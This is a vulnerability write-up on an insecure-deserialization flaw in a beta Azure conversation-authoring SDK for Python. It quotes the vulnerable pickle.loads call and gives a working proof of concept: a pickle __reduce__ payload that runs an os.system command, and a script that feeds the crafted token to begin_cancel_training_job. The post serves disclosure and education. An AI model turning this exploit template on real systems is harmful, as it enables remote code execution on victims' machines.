From Token to RCE: The "Pickle" Inside the Azure SDK for Python

In the world of cloud security, even the most trusted SDKs can harbor hidden dangers. Today, we're looking at a classic case of Insecure Deserialization found in the azure-ai-language-conversations-authoring package (specifically version 1.0.0b3), which allows for Remote Code Execution (RCE).

The Vulnerability: A Bitter Pickle

The root cause lies within the _JobsPollingMethod class, specifically in the from_continuation_token method. For those unfamiliar, a continuation token is used to resume long-running operations (LROs). In this SDK, the token isn't just a string—it's a Base64-encoded, pickled Python object.

The dangerous snippet looks like this:

Python

# Found in azure/ai/language/conversations/authoring/models/_patch.py
@classmethod
def from_continuation_token(cls, continuation_token: str, **kwargs: Any):
    import pickle
    import base64
    # ...
    initial_response = pickle.loads(base64.b64decode(continuation_token)) # <-- VULNERABLE
    return client, initial_response, deserialization_callback

Using pickle.loads() on data provided by a user (or intercepted) is a cardinal sin in security. Since pickle can instantiate any Python object, an attacker can craft a token that executes arbitrary system commands upon "loading."

Crafting the Exploit (PoC)

To demonstrate the RCE, we need to create a "malicious" token. We use the __reduce__ method, which tells pickle how to reconstruct the object—or in our case, which system command to run.

1. The Payload Generator

import pickle
import base64
import os

class MaliciousPayload:
    def __reduce__(self):
        # The command we want to execute
        return (os.system, ('echo RCE_SUCCESS > hacked.txt',))
def generate_token():
    payload = MaliciousPayload()
    return base64.b64encode(pickle.dumps(payload)).decode()

2. Triggering the Execution

The trick is finding a "Long-Running Operation" (LRO) that uses this specific polling method. While many functions use a standard, safe polling method, functions like begin_cancel_training_job or forced custom pollers provide the perfect entry point.

from azure.ai.language.conversations.authoring import ConversationAuthoringClient
from azure.core.credentials import AzureKeyCredential

client = ConversationAuthoringClient("https://fake-endpoint.com", AzureKeyCredential("fake_key"))
token = generate_token()
# Triggering the LRO with our malicious token
client.begin_cancel_training_job(
    job_id="any_id",
    continuation_token=token
)

The final payload will trigger.

None